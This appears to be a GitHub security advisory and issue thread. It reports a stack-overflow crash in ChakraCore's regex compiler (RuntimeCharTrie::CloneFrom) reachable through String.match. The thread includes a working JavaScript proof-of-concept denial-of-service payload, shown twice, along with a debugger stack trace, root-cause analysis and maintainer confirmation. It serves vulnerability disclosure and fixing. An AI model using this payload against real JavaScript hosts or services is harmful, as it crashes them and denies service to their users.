ChakraCore
ChakraCore copied to clipboard
Published
20 hours ago •
chakra-core
chakra-core
Construct a specific payload to [String].match cause ChakraCore engine StackOverflow crash, which may cause denial of service.
Summary
Construct a specific payload to [String].match cause ChakraCore engine StackOverflow crash, which may cause denial of service.
Description
PoC
The following is JS PoC to feed ch (ChakraCore 1.11.24 x64):
var dnaInput = "tacgattttatcgcgactagttaatcatcatagcaagtaaaatttgaattatgtcattat\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
ttaataggccggattggattgagttaattaagaccttgttcagtcatagtaaaaaccctt\n\
aaattttaccgattgacaaagtgagcagtcgcaataccctatgcgaaacgcctcgatagt\n\
gactaggtatacaaggtttttgagttcctttgaaatagttaactaatttaaaattaatta\n\
acgacatggaaatcacagaacctaatgctttgtaggagttatttatgctgtttactgcct\n\
ctacaaccctaataaagcagtcctaagaatgaaacgcatcttttagttcagaaagtggta\n\
tccagggtggtcaatttaataaattcaacatcgggtctcaggatattcggtcatataatt\n\
tattaagggctcttcgagtcttactctgagtgaaattggaaacagtcatccttttcgttg\n\
tgaggcatcttacaccgctatcgatatacaatgcattccaccgcggtgtcccgtacacaa\n\
ggaaacttgttaccttggggatataagaaaactcacacgtctcattattaaactgagtac\n\
tggaacgcacctcggatctgttgcactggattaaaatccgattatttttaaaaatattca\n\
gtgctagagcatatcaggtctacttttttatctggtatgtaaagcccacggagcgatagt\n\
gagatccttacgactcaacgaaaagttataacataactcccgttagccaaagcccaatcc\n\
\n";
dnaInput = dnaInput + dnaInput + dnaInput;
var seqs = [/a|tttaccct/ig];
Array.prototype.push.call(seqs, false, Array.prototype.concat.call(seqs, seqs, dnaInput));
for (i in seqs) {
//print(seqs[i]);
dnaInput.match(seqs[i]);
}
Analysis
Using windbg to do Time travel debug:
It's easy to find chakracore!UnifiedRegex::RuntimeCharTrie::CloneFrom continuously invoking itself to clone from compile-time allocator to run-time allocator because of the large length of seqs[i], which caused stackoverflow.
The following is a stack trace:
> ChakraCore.dll!UnifiedRegex::RuntimeCharTrie::CloneFrom(Memory::ArenaAllocator * allocator, const UnifiedRegex::CharTrie & other) 行 203 C++
ChakraCore.dll!UnifiedRegex::AltNode::AnnotatePass4(UnifiedRegex::Compiler & compiler) 行 2542 C++
ChakraCore.dll!UnifiedRegex::Compiler::Compile(Js::ScriptContext * scriptContext, Memory::ArenaAllocator * ctAllocator, Memory::ArenaAllocator * rtAllocator, UnifiedRegex::StandardChars<wchar_t> * standardChars, UnifiedRegex::Program * program, UnifiedRegex::Node * root, const wchar_t * litbuf, UnifiedRegex::RegexPattern * pattern, UnifiedRegex::DebugWriter * w, UnifiedRegex::RegexStats * stats) 行 4726 C++
ChakraCore.dll!Js::RegexHelper::PrimCompileDynamic(Js::ScriptContext * scriptContext, const wchar_t * psz, unsigned int csz, const wchar_t * pszOpts, unsigned int cszOpts, bool isLiteralSource) 行 259 C++
ChakraCore.dll!Js::RegexHelper::CompileDynamic(Js::ScriptContext * scriptContext, const wchar_t * psz, unsigned int csz, const wchar_t * pszOpts, unsigned int cszOpts, bool isLiteralSource) 行 100 C++
ChakraCore.dll!Js::JavascriptRegExp::CreatePattern(void * aValue, void * options, Js::ScriptContext * scriptContext) 行 384 C++
ChakraCore.dll!Js::JavascriptRegExp::CreateRegExNoCoerce(void * aValue, void * options, Js::ScriptContext * scriptContext) 行 414 C++
ChakraCore.dll!Js::JavascriptRegExp::CreateRegEx(void * aValue, void * options, Js::ScriptContext * scriptContext) 行 409 C++
ChakraCore.dll!Js::JavascriptString::EntryMatch::__l2::<lambda>(Js::JavascriptString * stringObj) 行 1411 C++
ChakraCore.dll!Js::JavascriptString::DelegateToRegExSymbolFunction<1,void * <lambda>(Js::JavascriptString *) >(Js::ArgumentReader & args, int symbolPropertyId, Js::JavascriptString::EntryMatch::__l2::void * <lambda>(Js::JavascriptString *) fallback, const wchar_t * varName, Js::ScriptContext * scriptContext) 行 1753 C++
ChakraCore.dll!Js::JavascriptString::EntryMatch(Js::RecyclableObject * function, Js::CallInfo callInfo, ...) 行 1425 C++
ChakraCore.dll!amd64_CallFunction() 行 208 未知
ChakraCore.dll!Js::JavascriptFunction::CallFunction<1>(Js::RecyclableObject * function, void *(*)(Js::RecyclableObject *, Js::CallInfo) entryPoint, Js::Arguments args, bool useLargeArgCount) 行 1358 C++
ChakraCore.dll!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout, Js::RecyclableObject * function, unsigned int flags, const Js::AuxArray<unsigned int> * spreadIndices) 行 3855 C++
ChakraCore.dll!Js::InterpreterStackFrame::OP_ProfileCallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout, Js::RecyclableObject * function, unsigned int flags, unsigned short profileId, unsigned int inlineCacheIndex, const Js::AuxArray<unsigned int> * spreadIndices) 行 3894 C++
ChakraCore.dll!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout) 行 505 C++
ChakraCore.dll!Js::InterpreterStackFrame::ProcessProfiled() 行 87 C++
ChakraCore.dll!Js::InterpreterStackFrame::Process() 行 3355 C++
ChakraCore.dll!Js::InterpreterStackFrame::InterpreterHelper(Js::ScriptFunction * function, Js::ArgumentReader args, void * returnAddress, void * addressOfReturnAddress, Js::InterpreterStackFrame::AsmJsReturnStruct * asmJsReturn) 行 2035 C++
ChakraCore.dll!Js::InterpreterStackFrame::InterpreterThunk(Js::JavascriptCallStackLayout * layout) 行 1731 C++
[外部代码]
ChakraCore.dll!amd64_CallFunction() 行 208 未知
ChakraCore.dll!Js::JavascriptFunction::CallFunction<1>(Js::RecyclableObject * function, void *(*)(Js::RecyclableObject *, Js::CallInfo) entryPoint, Js::Arguments args, bool useLargeArgCount) 行 1358 C++
ChakraCore.dll!Js::JavascriptFunction::CallRootFunctionInternal(Js::RecyclableObject * obj, Js::Arguments args, Js::ScriptContext * scriptContext, bool inScript) 行 768 C++
ChakraCore.dll!Js::JavascriptFunction::CallRootFunction(Js::RecyclableObject * obj, Js::Arguments args, Js::ScriptContext * scriptContext, bool inScript) 行 728 C++
ChakraCore.dll!Js::JavascriptFunction::CallRootFunction(Js::Arguments args, Js::ScriptContext * scriptContext, bool inScript) 行 829 C++
ChakraCore.dll!RunScriptCore::__l2::<lambda>(Js::ScriptContext * scriptContext, TTD::TTDJsRTActionResultAutoRecorder & _actionEntryPopper) 行 3632 C++
ChakraCore.dll!ContextAPIWrapper::__l2::<lambda>(Js::ScriptContext * scriptContext) 行 238 C++
ChakraCore.dll!ContextAPIWrapper_Core<0,_JsErrorCode <lambda>(Js::ScriptContext *) >(ContextAPIWrapper::__l2::_JsErrorCode <lambda>(Js::ScriptContext *) fn) 行 192 C++
ChakraCore.dll!ContextAPIWrapper<0,_JsErrorCode <lambda>(Js::ScriptContext *, TTD::TTDJsRTActionResultAutoRecorder &) >(RunScriptCore::__l2::_JsErrorCode <lambda>(Js::ScriptContext *, TTD::TTDJsRTActionResultAutoRecorder &) fn) 行 235 C++
ChakraCore.dll!RunScriptCore(void * scriptSource, const unsigned char * script, unsigned __int64 cb, LoadScriptFlag loadScriptFlag, unsigned __int64 sourceContext, const wchar_t * sourceUrl, bool parseOnly, _JsParseScriptAttributes parseAttributes, bool isSourceModule, void * * result) 行 3583 C++
ChakraCore.dll!CompileRun(void * scriptVal, unsigned __int64 sourceContext, void * sourceUrl, _JsParseScriptAttributes parseAttributes, void * * result, bool parseOnly) 行 4993 C++
ChakraCore.dll!JsRun(void * scriptVal, unsigned __int64 sourceContext, void * sourceUrl, _JsParseScriptAttributes parseAttributes, void * * result) 行 5015 C++
ch.exe!ChakraRTInterface::JsRun(void * script, unsigned __int64 sourceContext, void * sourceUrl, _JsParseScriptAttributes parseAttributes, void * * result) 行 419 C++
ch.exe!RunScript(const char * fileName, const char * fileContents, unsigned __int64 fileLength, void(*)(void *) fileContentsFinalizeCallback, void * bufferValue, char * fullPath, void * parserStateCache) 行 479 C++
ch.exe!ExecuteTest(const char * fileName) 行 913 C++
ch.exe!ExecuteTestWithMemoryCheck(char * fileName) 行 955 C++
ch.exe!StaticThreadProc(void * lpParam) 行 1060 C++
ch.exe!thread_start<unsigned int (__cdecl*)(void *),1>(void * const parameter) 行 97 C++
[外部代码]
Detailed Analysis
As you may see in the previous PoC, the seqs[i] after operation Array.prototype.push.call(seqs, false, Array.prototype.concat.call(seqs, seqs, dnaInput)); is a very long regular expression /a|tttaccct/ig,/a|tttaccct/ig,tacgattttatcgcgactagttaatcatcatagcaagtaaaatttgaattatgt.... (More than 4000 characters)
When compiling them, they are all constructed as UnifiedRegex::AltNode, which need to build CharTrie at ChakraCore-1.11.24\lib\Parser\RegexCompileTime.cpp:2509~2517:
Which is a iterative build process.
bool MatchLiteralNode::BuildCharTrie and CharTrie* CharTrie::Add inside void AltNode::AnnotatePass4 are also running iteratively, so they won't get any problem.
However, when it running to ChakraCore-1.11.24\lib\Parser\RegexCompileTime.cpp:2541, in RuntimeCharTrie::CloneFrom:
It is a recursive clone process and the last AltNode node which contains most literal part of seqs[i] and has length more than 4000 will cause CloneFrom repeatedly invoke itself hence stackoverflow.
My recommend solution is to rewrite this part with an iterative coding style.
Thanks!
PS: I've also tried to change the seqs to var seqs = ['aa'];, which lead to the regex compiler treat them as a LiteralNode, hence no need to build a Trie.
Supporting materials/ references:
Thank you for your report! This doesn't seem to happen in 1.12, and I am temporary blocked on trying it in 1.11 by #6836.
Update: I can't reproduce this in 1.11 on Ubuntu 22.04. Should have noticed that you are running it on Windows.
Hello,
As long as variable dnaInput is longer enough, the bug will be triggered.
You may extend the length of dnaInput by append random slices of dnaInput itself.
My above PoC is confirmed again to be reproduced on Windows.
Maybe you could try the following PoC on Ubuntu?
var dnaInput = "tacgattttatcgcgactagttaatcatcatagcaagtaaaatttgaattatgtcattat\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
ttaataggccggattggattgagttaattaagaccttgttcagtcatagtaaaaaccctt\n\
aaattttaccgattgacaaagtgagcagtcgcaataccctatgcgaaacgcctcgatagt\n\
gactaggtatacaaggtttttgagttcctttgaaatagttaactaatttaaaattaatta\n\
acgacatggaaatcacagaacctaatgctttgtaggagttatttatgctgtttactgcct\n\
ctacaaccctaataaagcagtcctaagaatgaaacgcatcttttagttcagaaagtggta\n\
tccagggtggtcaatttaataaattcaacatcgggtctcaggatattcggtcatataatt\n\
tattaagggctcttcgagtcttactctgagtgaaattggaaacagtcatccttttcgttg\n\
tgaggcatcttacaccgctatcgatatacaatgcattccaccgcggtgtcccgtacacaa\n\
ggaaacttgttaccttggggatataagaaaactcacacgtctcattattaaactgagtac\n\
tggaacgcacctcggatctgttgcactggattaaaatccgattatttttaaaaatattca\n\
gtgctagagcatatcaggtctacttttttatctggtatgtaaagcccacggagcgatagt\n\
gagatccttacgactcaacgaaaagttataacataactcccgttagccaaagcccaatcc\n\
\n";
dnaInput = dnaInput + dnaInput + dnaInput;
var seqs = [/a|tttaccct/ig];
Array.prototype.push.call(seqs, false, Array.prototype.concat.call(seqs, seqs, dnaInput));
for (i in seqs) {
//print(seqs[i]);
dnaInput.match(seqs[i]);
}
Maybe you could try the following PoC on Ubuntu?
This doesn't fail on Ubuntu either.
Hello,
I'm able to reproduce the bug in Ubuntu 18.04 as long as executing ulimit -s1024 to limit the stack size before running ch.
On my Ubuntu 18.04, the default value of ulimit -s is 8192.
The following attached PoC file can crash the ch in the above condition.
Just so I understand, is the failure result an unhandled StackOverflow exception, or is it an access violation?
OK, I can confirm that, both in 1.11 and 1.12. I am not sure what to do about this yet, as concocting a very large regex is expected to cause increased stack or heap usage. Rewriting it to be iterative instead of recursive may just shift overhead to a different area.
Just so I understand, is the failure result an unhandled StackOverflow exception, or is it an access violation?
This is a native stackoverflow, there's no ProbeStack call, adding one in results in a JS stack over flow exception.
